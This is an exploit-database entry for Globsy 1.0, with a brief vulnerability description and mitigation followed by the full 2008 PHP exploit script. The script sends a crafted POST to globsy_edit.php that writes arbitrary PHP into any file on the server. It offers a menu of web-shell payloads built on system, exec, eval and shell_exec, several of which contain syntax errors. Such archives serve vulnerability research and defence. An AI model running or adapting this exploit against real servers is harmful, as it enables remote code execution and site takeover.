Globsy - exploit.company

vendor:

Globsy

by:

StAkeR aka athos

9.3

CVSS

HIGH

Remote File Rewriting

CWE

Product Name: Globsy

Affected Version From: 1

Affected Version To: 1

Patch Exists: YES

Related CWE: N/A

CPE: a:globsy:globsy:1.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Globsy <= 1.0 Remote File Rewriting Exploit

This exploit allows an attacker to rewrite or create any file on the vulnerable server. The vulnerability exists due to insufficient sanitization of user-supplied input in the 'mode' and 'data' parameters of the 'globsy_edit.php' script. An attacker can exploit this vulnerability by sending a specially crafted HTTP POST request to the vulnerable server. This will allow the attacker to rewrite or create any file on the vulnerable server.

Mitigation:

The vendor has released a patch to address this vulnerability. It is recommended to apply the patch as soon as possible.

Source

Exploit-DB raw data:

#!/usr/bin/php -q
<?php

/* 
   ----------------------------------------------------------------------
   Globsy <= 1.0 Remote File Rewriting Exploit
   Discovered By StAkeR aka athos - StAkeR[at]hotmail[dot]it
   Discovered On 12/10/2008
   http://switch.dl.sourceforge.net/sourceforge/globsy/globsy_1.0.tar.gz
   ----------------------------------------------------------------------
   
   globsy_edit.php
   
37. elseif($mode == "save"){   
38. $handle = fopen($filename, "w") or die("Write: The file <i>'".$filename."'</i> could not be opened.");
39. fwrite($handle, $data) or die("Write: The file <i>'".$filename."'</i> could not be writen.");    
   
   $mode is $_POST['mode'] and $data = $_POST['data']
   
   so you can rewrite (or create) any file 
    
*/


error_reporting(0);
ini_set("default_socket_timeout",5);

$host = str_replace('http:\/\/',null,$argv[1]);
$path = $argv[2]."/globsy_edit.php?file=";
$file = $argv[3];
$exec = intval($argv[4]);

if($exec == 8)
{
  $input = stripslashes(trim(fgets(STDIN)));
}
else
{
  $input = "Write your code\r\n";
}


$array = array(
               'include($_GET["input"]);',
               'exec($_GET["input");',
               'eval($_GET["input");',
               'file_get_contents($_GET["input"]);',
               'phpinfo();',
               'system($_GET["input");',
               'shell_exec($_GET["input");',
               'echo $_GET["input");',
                $input
              );

if($argc != 5)
{
  echo "[?] Globsy <= 1.0 Remote File Rewriting Exploit\r\n";
  echo "[?] Usage: php $argv[0] [host] [path] [file] [option]\r\n\r\n";
  echo "[?] Options: \r\n";
 
  for($i=0;$i<=count($array)-1;$i++)
  {
    echo "-$i $array[$i]\r\n";
  }  
    return exit;
} 

if(!$sock = fsockopen($host,80)) die("[?] Socket Error\r\n");

$path .= $file;
$post .= "mode=save&data=<?php {$array[$exec]} ?>";
$data .= "POST /$path HTTP/1.1\r\n";
$data .= "Host: $host\r\n";
$data .= "User-Agent: Mozilla/4.5 [en] (Win95; U)\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Accept-Encoding: text/plain\r\n";
$data .= "Content-Length: ".strlen($post)."\r\n";
$data .= "Connection: close\r\n\r\n";
$data .= $post;

if(!fputs($sock,$data)) die("[?] Fputs Error!\n");

while(!feof($sock)) 
{
  $content .= fgets($sock);
} fclose($sock); 

if(!strpos('File data saved OK',$content))
{
  echo "[?] Exploit Successfully!\r\n";
  echo "[?] $array[$exec] written in $file\r\n";
}
else
{
  echo "[?] Exploit Failed!\r\n";
  exit;
}
  
  
?>

# milw0rm.com [2008-10-12]